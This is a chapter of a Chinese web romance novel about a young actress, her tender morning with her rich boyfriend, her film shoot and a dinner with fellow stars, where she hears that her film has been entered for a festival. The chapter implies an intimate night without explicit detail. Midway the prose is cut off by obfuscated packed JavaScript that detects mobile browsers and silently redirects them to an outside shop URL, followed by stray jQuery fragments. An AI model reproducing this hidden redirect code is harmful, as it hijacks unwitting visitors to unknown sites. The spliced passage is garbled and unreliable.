56. 56

作品:《今夜星光灿烂

    窗外的天色,从沉郁的墨蓝,渐渐透出清浅的灰白,最后染上淡淡的金边。


    房间里的空调发出极轻微的运转声,维持着宜人的温度。


    空气里弥漫着一种慵懒的、餍足后的暖昧气息,混合着未散的清冽香气和肌肤相亲后特有的、淡淡的暖腻。


    许意欢动了动,身体像是被拆卸重组过,每一寸骨骼和肌肉都透着过度使用后的酸软与沉重。


    商竞驰的手臂还横在她腰间,将她牢牢锁在怀里。


    她的后背紧贴着他温热的胸膛,能清晰感受到他平稳有力的心跳,一下,又一下,透过相贴的皮肤,震动着她的脊骨,带来一种难以言喻的安全感和归属感。


    身体是疲惫的,但精神却奇异地松弛,像漂浮在温暖平静的海面上,随波逐流,意识沉沉浮浮。


    许意欢微微侧过头,寻找更舒服的姿势,喉咙里逸出一声含混的咕哝。


    “醒了?”头顶传来他低沉的声音,带着沙哑,震动着她的耳膜。


    “嗯……”她含糊应着,眼睛还懒得睁开。


    环在腰间的手臂收紧了些,将她更密实地圈进怀里。


    商竞驰低下头,干燥温热的嘴唇碰了碰她的鬓角,然后流连到耳廓,留下一个轻吻。


    “还早,再睡会儿。”他的声音贴着她耳畔响起,呼吸拂过敏感的皮肤,引起一阵细微的战栗。


    许意欢没说话,只是在他怀里蹭了蹭,找到一个更契合的姿势。


    身体的疲惫让她很快又有了睡意,但意识尚未完全沉沦时,听到他再次开口,声音比刚才清醒了些,带着事后的慵懒和一丝解释的意味:“最近公司事儿多,项目卡在关键节点,不然能早点过来看你。”


    他的手指无意识地把玩着她散落在枕畔的一缕长发,绕在指间,又松开,再绕上。


    动作很轻,带着一种近乎珍惜的温柔。


    许意欢闭着眼,睫毛却轻轻颤了一下。


    早点来……也好。


    她在心里默默地想,脸上却没什么表情,只是又往他怀里缩了缩,用行动表示听到了。


    早点来,或许就不用……把一周的分量,都积攒到一夜之间。


    这个念头划过脑海时,她自己都怔了一下,随即脸颊微微发热。


    昨夜那些火热纠缠的画面不受控制地闪现,他的急切,他的凶狠,他的……不知餍足。


    她甚至有些记不清后来是怎么睡着的,只记得最后自己累得连手指都抬不起来,意识模糊前,似乎是他抱着她去简单清理,然后又把她塞回被子里,紧紧搂住。


    确实……有点太超过了。


    她悄悄吸了口气,把那些让人脸热的画面压下去,又含糊地“嗯”了一声,算是回应。


    商竞驰似乎也没期待她说什么,只是收紧了手臂,下颌蹭了蹭她的发顶。


    两人都没再说话,享受这暴风骤雨后的宁静与温存。


    没过多久,细碎的吻又落下来。


    从耳后到颈侧,再到肩膀,不带有强烈的情欲,更像是亲密过后的依恋和标记,温柔又缠人。


    许意欢被他亲得痒痒的,忍不住躲了躲,却换来他更紧的拥抱和更密集的轻吻。


    两人像贪恋彼此温度的小动物,在被窝里腻歪了好一阵,亲了又亲,蹭了又蹭,直到商竞驰瞥见床头电子钟显示的时间,才稍稍停下。


    他撑起身,低头看她。


    许意欢的脸颊还带着酣睡后的红晕,眼睛因为亲吻而湿润,嘴唇微微红肿。


    他眸色暗了暗,喉结滚动,但最终还是压下了再次升腾翻涌的念头。


    “睡吧。”他重新躺下,将她捞回怀里,“一早还要拍戏。”


    许意欢确实困极了。


    高强度拍摄的疲惫,加上先前的激烈运动,眼皮沉重得直往下坠。


    她在他令人安心的气息和怀抱里,很快沉入了甘甜的梦乡。


    再次被吵醒,是感觉到身边的动静,以及床头柜上手机持续不断的、闷闷的震动声。


    许意欢迷迷糊糊地睁开眼,房间里光线依旧昏暗,但窗帘缝隙透进的天光已经亮了许多,不再是清晨的朦胧,而是接近白日的清晰。


    她一时有些恍惚,分不清是几点。


    商竞驰已经醒了,正半靠在床头,一手还揽着她,另一只手拿起了震动的手机。


    屏幕的光映亮了他线条清晰的下颌和微微蹙起的眉心。


    他看了一眼来电显示,是陈序。


    划开接听,他将手机贴在耳边,声音压得很低,语气已经恢复了工作时的清晰简洁:“说。”


    电话那头传来陈序清晰干练的汇报声,在安静的房间里,许意欢能隐约听到“十点”、“会议”、“必须出席”、“航班”几个关键词。


    商竞驰听完,只回了三个字:“知道了。”


    挂断电话,他并没有立刻放下手机,通知栏里还有一条未读消息,发送时间是昨夜。


    他顺手点开。


    是黎云舟:哥,在哪儿潇洒呢?西区新开了个场子,格调还行,出来喝一杯?


    商竞驰扫了一眼,手指在屏幕上点了几下,回道:在江川。


    没有解释,只是告知一个事实。


    刚回完信息,怀里的人动了动。


    半梦半醒的许意欢被他这一番动静彻底弄醒了,但身体还懒洋洋的不想动,只是仰起脸,睡眼惺忪地看着他,声音含混不清,带着浓重的、未醒透的鼻音:“有人找你吗?”


    “嗯。”商竞驰俯身,在她光洁的额头上落下一个轻吻,语气平常,“工作上的事,上午有个会。还有闲得无聊的黎云舟半夜发了个消息给我。”


    他全都如实相告。


    许意欢“唔”了一声,也没多问。


    她只是下意识地向他怀里又蹭了蹭,手臂环上他的腰,贪恋着这分离前最后的温暖和依偎。


    商竞驰任由她抱着,手掌在她光滑的背脊上轻轻抚过,没有催促。


    直到窗外天色又亮了一分。


    终于,还是得起来了。


    甜蜜的相聚总是短暂,他们各有各的轨道要奔赴。


    她没有赖床,跟着商竞驰一起坐了起来。


    薄被滑落,露出肌肤上斑驳的、尚未消退的暧昧痕迹。


    商竞驰的目光在上面停留了一瞬,眸色转深,但很快移开,率先下了床。


    两人一前一后走进宽敞的浴室。


    明亮的双人洗漱台前,他们并肩站着。


    镜子里映出一对刚刚经历过亲密夜晚的男女,穿着同款的白色浴袍,头发微乱,脸上带着相似的、慵懒餍足的神情。


    他们并排站着刷牙,洗脸,动作自然默契,仿佛已经这样生活了很久。


    洗漱到一半,商竞驰透过镜子看着正低头擦脸的许意欢,忽然开口,声音在哗哗的水流声中依然清晰:“剧组给你安排的房间好像不大?”


    许意欢动作一顿,抬起头,从镜子里看向他:“还行,普通套房,一个人住够了。”


    商竞驰关掉水龙头,拿起毛巾擦干手,转过身,背靠着光滑的洗手台边缘,面朝着她。


    他的目光在她脸上扫过,语气随意,却带着关心:“要不把顶层这间留给你?住着舒服点,也安静。”


    顶层套房,全景落地窗,奢华的配置,专属的服务。


    这无疑是物质上极致的体贴和给予。


    许意欢几乎没有犹豫,摇了摇头:“不用了,我住原来那里就好。”


    理由是脱口而出:“不想搞那么特殊。”


    这是她最直接的想法。


    剧组人多眼杂,她一个新人女演员,独自住进顶层豪华套房,太扎眼了。


    流言蜚语、无端猜测,这些都不是她想要的。


    商竞驰看着她,嘴角几不可察地勾了一下,那笑意里带着了然,也有一丝淡淡的无奈。


    他朝她走近一步,伸手,很自然地替她捋了捋颊边一缕微湿的发丝,指尖擦过她细腻的皮肤。


    “这个剧组从上到下,”他开口,语气平静无波,却字字清晰,“谁不知道你有多特殊?”


    许意欢的心猛地一跳。


    商竞驰的目光平静地锁住她,继续陈述着显而易见的事实:“我们的关系,没有刻意瞒过。一起进进出出过那么多场合,只要我们在的地方,消息传得比风还快。”


    他顿了顿,“就算原本不知道的人,现在也该知道了。”


    在这个圈子里,秘密是最昂贵的奢侈品。


    她和商竞驰的关系,或许算不上人尽皆知,但在该知道的层面,早已不是秘密。


    试图用“不住顶层套房”来维持表面上的普通和平等,更像是一种徒劳的心理安慰。


    她沉默了片刻,指尖无意识地攥紧了睡袍柔软的腰带。


    商竞驰的话是事实,她无法反驳。


    但知道是一回事,主动去彰显、去享受这种“特殊”带来的物质特权,又是另一回事。


    “我知道。”她终于抬起头,迎上他的目光,眼神清澈而坚定,“但……我还是想住原来的房间。”


    商竞驰挑了挑眉,没说话,等着她的下文。


    许意欢深吸一口气,给出了一个更实际、也更站得住脚的解释:“跟导演、编剧,还有其他演员同事住一层,工作上会方便很多。万一晚上剧本有什么临时调整,或者第二天拍摄前有细节需要提前沟通,碰个面也容易。省得上下楼跑,效率高。”


    她说的很在理。


    剧组工作节奏快,变动多,住得近确实能节省时间,提高沟通效率。


    这是一个完全从专业角度出发的考量,合情合理,让人挑不出错处。


    商竞驰看着她认真的神情,那双眼睛里有坚持,有对工作的专注,也有属于她自己的、不容轻易动摇的主见。


    他眼底那丝无奈渐渐消散,取而代之的是一种混合着欣赏与纵容的情绪。


    他没有再坚持,伸出手,带着点力道,揉了揉她的头顶,把本就有些凌乱的发丝揉得更乱了些,语气是全然放任的:“行,随你。”


    两人没再讨论这个话题。


    商竞驰很快换好了衣服,依旧是衬衫长裤,一丝不苟,恢复了那个冷静自持、掌控一切的商总模样。


    只是颈侧靠近衣领的地方,有一小块不太明显的红痕。


    许意欢也换好了前一天的便装,准备等他离开后,再收拾东西下楼换干净衣服。


    在套房门口,商竞驰停住脚步,转过身。


    他伸出手,将她拉进怀里,抱了抱。


    “好好拍戏。”他在她耳边低声说,温热的气息拂过,“有事打电话。”


    “嗯。”许意欢靠在他怀里,闻着他身上熟悉的冷冽香气,轻轻点头,“路上小心。”


    他松开她,最后看了她一眼,转身拉开了房门。


    高大的身影消失在门外,脚步声在铺着厚地毯的走廊里迅速远去,直到彻底听不见。


    房门自动缓缓合拢,发出轻微的“咔哒”声。


    偌大的顶层套房,瞬间安静下来,空旷得有些惊人。


    阳光依旧明媚地洒满客厅,窗外景色依旧壮丽,但空气里似乎少了些什么,温度都仿佛降低了几度。


    许意欢独自站在玄关处,静静地站了一会儿。


    —


    《青云叹》第二周的拍摄,稳定而密集地向前推进。


    许意欢已经完全适应了这种每天天不亮就被小唐轻声叫醒,在化妆镜前一坐就是两三个小时,然后一整天泡在或简陋或华丽的场景里,对着镜头重复、调整、再重复的生活。


    身体是疲惫的,但精神却有种奇异的亢奋和充实。


    她和周凛的对手戏磨合得越来越好。


    两人都是体验派,都舍得花笨功夫,常常一场戏拍完,还会凑在一起回看监视器,讨论刚才的情绪衔接哪里可以更自然,台词的重音放在哪个字上更能传递潜台词。


    周凛性格内敛沉稳,但专业上极为较真,有时为了一个走位或一个反应的真实性,能跟许意欢反复推敲许久。


    林导对此并不干涉,只要不影响整体进度,他乐见演员之间的这种化学反应。


    事实上,有几场原本预计要拍一下午的戏,因为两人状态极佳,往往提前就能收工。


    林牧之对她的要求也越来越高,重场戏会跟她提前抠一些更细微的表演层次。


    许意欢有时会被他问得哑口无言,回到房间就对着剧本和笔记苦思冥想,第二天带着新的理解去尝试。


    这个过程痛苦却也迷人,她感觉自己像一块被反复锻打的铁,正在一点点褪去杂质,淬炼出更坚韧的质地。


    她在剧组的人缘也渐渐好了起来。


    不摆架子,不搞特殊,拍戏时全情投入,休息时安静看剧本或与对手演员对词,对工作人员礼貌客气。


    几次拍到深夜,她让小唐订了热饮和点心分给大家,东西不贵重,却贴心。


    慢慢的,场务、灯光、化妆组的老师们见到她,都会笑着打招呼,喊一声“许老师”或亲切点的“意欢”。


    一切都在有条不紊地进行,偶有挑战,也都能有惊无险地度过。


    时间走到周四的下午。


    这会儿拍的是沈清辞在伤兵营里连续救治后,体力不支,却仍强撑着检查药材库存的戏。


    许意欢穿着一身沾着血污和尘土的靛青裙裾,头发有些散乱,脸上带着刻意画出的苍白和疲惫,她正对着空了大半的药柜,手指虚虚拂过一个个抽屉标签,背影单薄却挺直。


    “好,这条过了!准备转场!”林导的声音透过喇叭传来。


    现场响起一阵松气声和收拾器材的响动。


    许意欢也松了口气,刚想去找小唐拿水,就听到入口处传来一阵比平常稍显活跃的骚动。


    她下意识抬头望去,只见几个工作人员引着一个人朝主拍摄区这边走来。


    那人个子很高,穿着简单的灰色连帽卫衣和黑色长裤,头上扣着顶鸭舌帽,帽檐压得有点低,但走路的姿态和身形轮廓,让许意欢觉得异常眼熟。


    等那人摘下帽子,露出清爽的短发和带着笑意的熟悉脸庞时,许意欢不禁怔了一下。


    是陆景明。


    他怎么会在这里?


    还没等她惊讶完,陆景明已经上前跟林导寒暄起来,之后目光在场内扫视,很快便落在了正被众人簇拥着说话的顾淮屿和宋悦然身上。


    他笑着朝他们走去,三人都曾合作过,显然极熟,顾淮屿伸手拍了拍他的肩,宋悦然则笑靥如花地说了句什么,引得陆景明摇头失笑。


    他是来探班老朋友的。


    他们站在一起聊天,影帝、顶流、当红实力小生,自带光环,吸引着片场所有人的目光。


    许意欢没有上前,只是安静地坐在原地,看着那边热闹的景象。


    聊了一会儿,陆景明的视线似乎无意间扫过场边,然后,精准地落在了许意欢身上。


    他朝顾淮屿和宋悦然说了句什么,便转身,径直朝着许意欢这边走了过来。


    许意欢立刻放下水杯,站了起来。


    “陆老师。”她微笑着打招呼,语气里带着尊敬,也有一丝旧识重逢的欣喜。


    “意欢,又见面了。”陆景明在她面前站定,笑容比刚才更真切了几分,目光在她身上简素的戏服和脸上的淡妆上打量了一下,点了点头,“沈清辞?这个造型很适合你。”


    “谢谢陆老师。”许意欢有些不好意思地抿唇笑了笑。


    “刚才在旁边看了两眼,状态不错,”陆景明语气温和,带着鼓励,“人物抓得很准。”


    能得到他这样直接的肯定,许意欢心里暖了一下:“是吗?那太好了。”


    陆景明笑了笑,没再多说客套话,转而问道:“在这边拍摄还习惯吗?强度不小吧?”


    “还好,慢慢适应了。能跟这么好的团队合作,机会很难得。”许意欢回答得认真。


    两人又简单聊了几句《回声》拍摄结束后各自的近况。


    陆景明提到最近在江川录一档综艺,刚好录完有空,想起《青云叹》剧组在这边,顾淮屿和宋悦然又是他的老搭档,便过来看看。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17069951|193222||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    正说着,顾淮屿和宋悦然也走了过来。


    宋悦然笑着打量了一下陆景明和许意欢:“聊什么呢?陆老师一来就找我们意欢,看来之前合作结下的革命友谊不浅啊。”


    她语气轻松,带着调侃。


    陆景明坦然笑道:“那当然,一起挨过陈老师的骂,又一起经过了李导剧组的历练,那可是过命的交情。”


    这话把大家都逗笑了,气氛更加轻松。


    顾淮屿也微笑着对许意欢点了点头,算是打过招呼。


    宋悦然则兴致勃勃地提议:“景明,你好不容易来一趟,晚上一起吃个饭?今天估计收工早,可以稍微放松点。”


    陆景明从善如流:“好啊,正有此意。”


    他顿了顿,目光很自然地转向许意欢,语气随意却真诚地发出邀请:“意欢,晚上一起吧?都是熟人,没那么多讲究,就是一起吃个饭,聊聊天。”


    这个邀请来得有些突然。


    许意欢的心脏轻轻跳了一下。


    和顾淮屿、宋悦然、陆景明一起私下吃饭?


    这无疑是深入这个行业核心圈子的一次难得机会。


    她内心是惊喜且渴望的。


    她迅速看了一眼顾淮屿和宋悦然。


    顾淮屿面色平和,看不出什么。


    宋悦然则笑意盈盈地看着她,眼神里没有排斥,反而有些鼓励的意味:“对啊,意欢一起来吧,人多热闹。”


    “好啊,”许意欢压下心头的雀跃,尽量让声音听起来平静而欣然,“谢谢陆老师,谢谢顾老师、宋老师。”


    宋悦然“噗嗤”笑出声:“别老师老师的了,私下吃饭,随意点,今晚一起宰景明一顿。”


    她促狭地朝陆景明眨眨眼。


    陆景明好脾气地笑着点头:“没问题的,宋老师。”


    晚餐的地点选在影视基地附近一家以环境和私密性著称的餐厅。


    独立的包间,装修雅致,窗外是精心打理过的庭院夜景。


    许意欢换了身简单的针织衫和深色长裤,薄施粉黛,长发柔顺地披在肩头,看起来清爽又得体。


    她特意比约定时间早到了几分钟,没想到陆景明和顾淮屿已经到了,宋悦然则因为补妆稍晚一步。


    见她进来,陆景明很自然地帮她拉开了椅子。


    顾淮屿也对她微微点头示意。


    “悦然马上到,我们先点些喝的?”陆景明将菜单递给她。


    “我都可以,陆老师您和顾老师定就好。”许意欢将菜单推回。


    顾淮屿开口,声音温和:“不用拘谨,看看有没有喜欢的。”


    他的态度让许意欢放松了些。


    她也没再过分推辞,点了杯鲜榨果汁。


    很快,宋悦然也到了,她一进来就笑着道歉,气氛立刻活跃起来。


    她挨着顾淮屿坐下,很自然地接过顾淮屿帮她倒好的温水。


    四个人,一张方桌,氛围意外地融洽。


    最初的话题围绕着陆景明正在录的综艺,宋悦然很感兴趣,问了不少幕后趣事。


    陆景明挑了几件无伤大雅又有意思的说了,引得宋悦然笑声不断。


    顾淮屿话不多,但很擅长冷幽默,偶尔插一句,气氛被炒得更热。


    许意欢大多时候是倾听,只在问到《青云叹》拍摄时,才会认真地回答几句。


    她说起片场一些严谨到近乎苛刻的细节准备时,眼睛会微微发亮,那种对创作的专注和热爱,是伪装不来的。


    宋悦然听得津津有味,还分享了自己当年拍第一部古装剧时闹的笑话。


    顾淮屿也难得地回忆了一桩早年拍戏时的糗事,虽然语气依旧平淡,但内容却让其他三人都忍俊不禁。


    话题渐渐从趣闻轶事转向更深入的行业交流。


    “现在市场变化太快,”陆景明微微感叹,“有时候选择比努力更重要。找到适合自己的、同时也有表达空间的角色,不容易。”


    顾淮屿颔首:“所以演员心里得有根定海神针。知道什么戏该接,什么戏哪怕报酬再高也要舍得推开。眼光放长远些。”


    宋悦然虽然常被归为流量花旦,但此刻也收起玩笑,正色道:“淮屿哥说得对。流量来得快,去得也快。最终能留下来的,还是角色和作品。我最近也在尝试接触一些更有挑战性的本子,不想被定型。”


    许意欢认真地听着,这些话对她而言都是珍贵的经验。


    她忍不住问:“顾老师,您是如何判断一个剧本、一个角色是否值得投入的呢?”


    顾淮屿看向她,目光平静却深邃:“首先是故事本身是否打动你,人物是否有灵魂。其次,合作团队是否专业、有追求。最后,”他顿了顿,“也要考量这个角色是否能突破你原有的框架,或者巩固你擅长领域的同时,挖掘出新的深度。单纯重复自己,意义不大。”


    许意欢若有所思地点头。


    陆景明接过话头,看向许意欢,语气带着赞赏:“说到突破,意欢,你在《回声》里的表现,真的让很多人眼前一亮。李导那天跟我通电话,说后期过程中大家都夸你灵气足,肯吃苦,是块璞玉。”


    提到《回声》,许意欢的心跳漏了一拍。


    这是她倾注了无数心血的作品,也是她职业履历上最重要的一笔。


    顾淮屿拿起杯子,喝了口水,道:“《回声》的项目我有所耳闻,李锐导演的戏,品质有保障。题材和表达都很勇敢,在现在的市场环境下很难得。”


    连宋悦然也收起玩笑,认真地说:“我看过原著小说,故事非常动人。意欢你能拿到那个角色,很厉害。上映的时候一定去支持。”


    被三位如此重量级的前辈同时肯定和期待,许意欢只觉得一股热流从心底涌起,脸颊都有些发烫。


    她连忙谦虚道:“谢谢,是陈老师和李导给了我机会,陆老师在拍摄期间也帮了我非常多,还是有很多不足,正在努力学习。”


    陆景明客气地笑了笑,随即似乎忽然想起什么,看着许意欢,语气变得稍微正式了些:“对了,意欢,有件事可以跟你分享,李导那边前两天跟我通了气。”


    “《回声》的后期制作基本完成了,”陆景明说道,眼中闪烁着光彩,“片子已经正式报名了圣维斯国际电影节的主竞赛单元。”


    许意欢拿着筷子的手,顿时停住。


    圣维斯?


    那个所有电影人梦寐以求的最高殿堂之一?


    她抬起眼,看向陆景明,眼神里有来不及掩饰的震惊和茫然。


    关于电影节报送的确切消息还没传到她这里。


    这消息对她来说,太突然,也太……重磅了。


    “真的?”宋悦然先发出了一声低呼,“李导可以啊!不过这片子冲圣维斯,真能有戏!”


    顾淮屿露出欣赏的神色,微微颔首:“李导的风格和圣维斯的调性确实契合。如果能入围,对片子,对参与其中的演员,都是很好的机会。”


    陆景明点头,继续对许意欢说:“电影节明年一月份开幕,提名名单今年十二月就会公布。李导对成片质量很满意,尤其是对我们几个的表演,他很有信心。”


    他顿了顿,看着许意欢有些怔忡的表情,语气带着鼓励,“意欢,你演的林小雨,绝对是片子里最打动人心的部分之一。等消息吧,值得期待。”


    许意欢好不容易才找回自己的声音,她努力让语调听起来平稳,但微微的颤抖还是泄露了她的激动:“我……我还不知道这个消息,谢谢陆老师告诉我。”


    陆景明笑了笑,没再继续这个话题,仿佛真的只是随口一提。


    晚餐的后半段,话题又转回了轻松的日常和行业八卦。


    但许意欢的心,已经再也无法平静。


    她表面上依旧保持着得体的微笑,参与着对话,偶尔点头附和,但思绪早已飘远。


    圣维斯。


    那个名字本身就代表着无上的荣光和全球范围的瞩目。


    如果《回声》真的能够入围,对于她这样一个新人演员来说,将是职业生涯一次难以想象的飞跃。